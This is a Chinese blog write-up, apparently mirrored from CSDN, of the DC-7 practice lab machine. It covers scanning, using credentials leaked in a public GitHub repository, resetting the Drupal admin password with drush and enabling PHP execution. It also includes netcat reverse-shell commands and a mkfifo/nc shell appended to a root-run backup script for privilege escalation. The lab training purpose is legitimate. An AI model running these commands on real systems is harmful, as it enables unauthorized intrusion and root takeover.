码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • DC-7靶机


    ifconfig

    查找主机IP

    扫一波内网,探测下存活主机

    nmap 192.168.61.0/24

    使用nmap工具对DC-5靶机扫描开放的端口

    nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

    nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

    有22和80端口

    下面有提示DC7USER

    百度一下

    可以下载一个文件

    这里也说明是重要点

    下载到kali本地

    git clone  https://github.com/Dc7User/staffdb

    cd staffdb

    ls

    cat config.php

    使用SSH链接靶机,登录dc7user发现可以成功连接

    ssh dc7user@192.168.61.136

    ls

    查到 backups  mbox

    backups下:website.sql.gpg  website.tar.gz.gpg

    发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码

    mbox是个文件

    发现备份执行的源码在/opt/scripts目录下

    进入/opt/scripts目录下

    cd /opt/scripts

    查看文件

    cat backups.sh

    发现两个命令 gpg drush

    gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码

    进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功 

    cd /var/www/html/
    drush user-password admin --password="123456"

    admin的密码改成了123456 

    用dirb命令扫出页面

    dirb http://192.168.61.136

    在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但是发现不支持PHP

    百度后知道,php要单独作为一个模块导入 

     

     

     PHP的模块下载地址:

    https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

     

    勾选,然后点最下面的install 

    然后就可以了

    回到当时的页面,就可以使用PHP了

     用蚁剑就可以连接成功了

     然后用kali监听

    nc -lvvp 4444

    nc -e /bin/bash 192.168.61.129 4444

    python -c 'import pty;pty.spawn("/bin/bash")' 

    连接成功 

    find / -name backups.sh 2>/dev/null 

    然后

    cd /opt/scripts

    ls -l

    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh

    nc -lvvp 7777

    得到了root权限

    cd /root

    ls

    cat theflag.txt

  • 相关阅读:
    面试阿里,倒在了第4轮后,才幡然醒悟——论系统学习的重要性
    记录一次用宝塔部署微信小程序Node.js后端接口代码的详细过程
    尿素偶联Urea-siRNA Conjugates|Cyclodextrin-siRNA-β-CD环糊精修饰RNA核酸(解析说明)
    UI 学习 二 可访问性 模式
    MySql 数据库【约束】
    门牌制作-蓝桥杯?-Lua 中文代码解题第3题
    Sentinel热点参数限流
    安果计算器-您的全能计算伴侣
    JAVA毕业设计开放式教学评价管理系统计算机源码+lw文档+系统+调试部署+数据库
    基于SSM的学生社团管理系统 毕业设计-附源码211531
  • 原文地址:https://blog.csdn.net/m0_62094846/article/details/125607539
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号